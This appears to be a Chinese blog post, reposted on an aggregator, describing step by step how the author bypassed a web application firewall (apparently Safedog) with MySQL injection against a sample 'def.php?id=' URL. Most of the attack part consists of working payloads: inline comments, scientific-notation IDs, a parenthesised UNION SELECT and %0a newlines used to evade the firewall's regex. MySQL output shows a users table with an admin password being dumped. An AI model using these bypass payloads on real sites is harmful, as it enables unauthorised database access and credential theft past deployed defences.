zoukankan      html  css  js  c++  java
  • 过狗注入学习姿势分享2[投稿华盟网]

    今天是日狗的第二天

    这回一来先上内联:

    payload

    http://www.baidu.com/def.php?id=331/**//*!and*//**/1=1

    结果并非那么顺利了。

    先不管and了。我们直接上联合查询语句。

    很显然这并不行。

    然后我在《我的bypass waf之道注入篇》中看到了科学记数法

    试试。

    显然依旧不行。

    其实在union之后可以使用括号括住内联。

    mysql> select 1,2,3 union(/*!select 4,5,6*/);
    +---+---+---+
    | 1 | 2 | 3 |
    +---+---+---+
    | 1 | 2 | 3 |
    | 4 | 5 | 6 |
    +---+---+---+
    2 rows in set (0.00 sec)
    

    那我们来应用试试。

    感觉应该是可以了呀。擦。中间有个空格,试试等价替换。

    成功爆出显示位!

    但是from却不行!

    关于这个from要怎么绕过。暂且未想出。

    然后不小心发现。

    擦,不是拦截from啊。。。啥情况???

    感觉是正则匹配

    select * from xxx
    

    擦。使用%0a来扰乱他的正则。%0a是换行的意思。

    老子已经愤怒。日哦!啥JB玩意儿。

    这里要给大家将一个知识点。

    该payload

    ?id=331e1/**/UNION/**/(/*!SELECT/**/1,2,3,4,5*/)
    

    中的/**/注释符是先被waf解释的,否则是到了mysql中是无法执行的。 如下所示: 

    mysql> select * from sql1 where id = 1 union/*!select/**/1,2,3*/;
    ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    mysql> select * from sql1 where id = 1 union/*!select 1,2,3*/;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1  | admin    | 123456   |
    | 1  | 2        | 3        |
    +----+----------+----------+
    2 rows in set (0.00 sec)
    
  • 相关阅读:
    java synchronized详解
    android 刷新系统资源库
    android4.1 源码 支持的 时区
    Logcat过滤及常见用法整理
    Android系统 广播Intent 小结
    android adb push 与 adb install 区别(两种安装APK的方法)
    Intent的常用Flag参数:
    java里的 thread 源码
    instanceof 运算符 小结
    Android下屏保程序的开发须知
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6582428.html
Copyright © 2011-2022 走看看